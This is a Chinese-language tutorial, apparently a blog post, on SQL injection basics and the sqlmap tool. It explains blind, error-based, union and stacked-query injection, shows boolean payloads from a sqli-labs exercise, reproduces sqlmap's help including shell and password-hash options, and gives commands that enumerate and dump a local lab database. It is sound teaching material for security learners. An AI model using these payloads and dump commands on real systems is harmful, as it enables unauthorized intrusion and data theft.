5.sqlmap 的基本使用

简介: sqlmap是一款开源免费的漏洞检查、利用工具. 可以检测页面中get,post参数,cookie,http头等. 基本上可以说 安全从业人员必备的一款神器之软件.也是迈入安全圈的必要条件.

sqlmap 支持5种漏洞检测类型:

基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)

less-15
基于post盲注
使用burpsuit抓包

测试闭合 ' 回显正确 说明可以闭合 存在注入点

'or 1=1 —+ —— 》 flag.jpg
'or length(database()=7)—+ —— 》 fail.jpg
'or length(database()=8)—+ —— 》 flag.jpg 说明数据库长度为8

继续接下来的测试

......

漏洞挖掘

漏洞挖掘

sqlmap的使用
下载网址:
sqlmap: automatic SQL injection and database takeover tool

image.png

image.png

image.png

Usage: sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
[!] to see full list of options run with '-hh'

python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1&page=10 -p page
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1&page=10 -p page –batch

-u 指定url
-p 指定注入点
-batch 自动默认y (注入时间比较久)

测试单目标(get)
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -tables
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users –columns
python sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C id, --dump

  • -dbs:获取数据库名
  • -tables:获取数据库表名
  • -columns:获取字段名
  • -dump:获取数据(拖库(无授权情况下禁止使用))

测试多目标(get型)
python sqlmap.py -m test.txt

-m : 指定目标文件

测试单目标(POST型)
利用burpsuit抓数据包,生成test.txt
python sqlmap.py -r test.py —batch
指定数据包

相关文章
|
Python Windows
sqlmap安装及简介
sqlmap安装及简介
369 0
|
4月前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 简单使用
SQL 注入神器:SQLMap 简单使用
|
4月前
|
SQL 数据库 Python
sqlmap的安装及使用教程_sqlmap安装使用教程
sqlmap的安装及使用教程_sqlmap安装使用教程
|
4月前
|
SQL 物联网 关系型数据库
sqlmap工具的使用 (超详细附工具版)_python sqlmap
sqlmap工具的使用 (超详细附工具版)_python sqlmap
|
4月前
|
SQL 安全 关系型数据库
SQL 注入神器:SQLMap 参数详解
SQL 注入神器:SQLMap 参数详解
|
4月前
|
SQL Shell 数据库
21、sqlmap参数详解
21、sqlmap参数详解
58 0
|
4月前
|
安全 生物认证 数据库
2021Kali系列 -- Sqlmap基础操作
2021Kali系列 -- Sqlmap基础操作
64 0
|
SQL 安全 数据库
sqlmap的基本使用方法
sqlmap的基本使用方法
356 0
|
SQL XML 安全
SQLMap注入工具
SQLMap 是一个开源渗透测试工具,它可以自动检测和利用 SQL 注入漏洞并接管数据库服务器。它具有强大的检测引擎,同时有众多功能,包括数据库指纹识别、从数据库中获取数据、访问底层文件系统以及在操作系统上带内连接执行命令。
|
SQL 安全 关系型数据库
某教程学习笔记(一):12、sqlmap使用介绍
某教程学习笔记(一):12、sqlmap使用介绍
280 0
某教程学习笔记(一):12、sqlmap使用介绍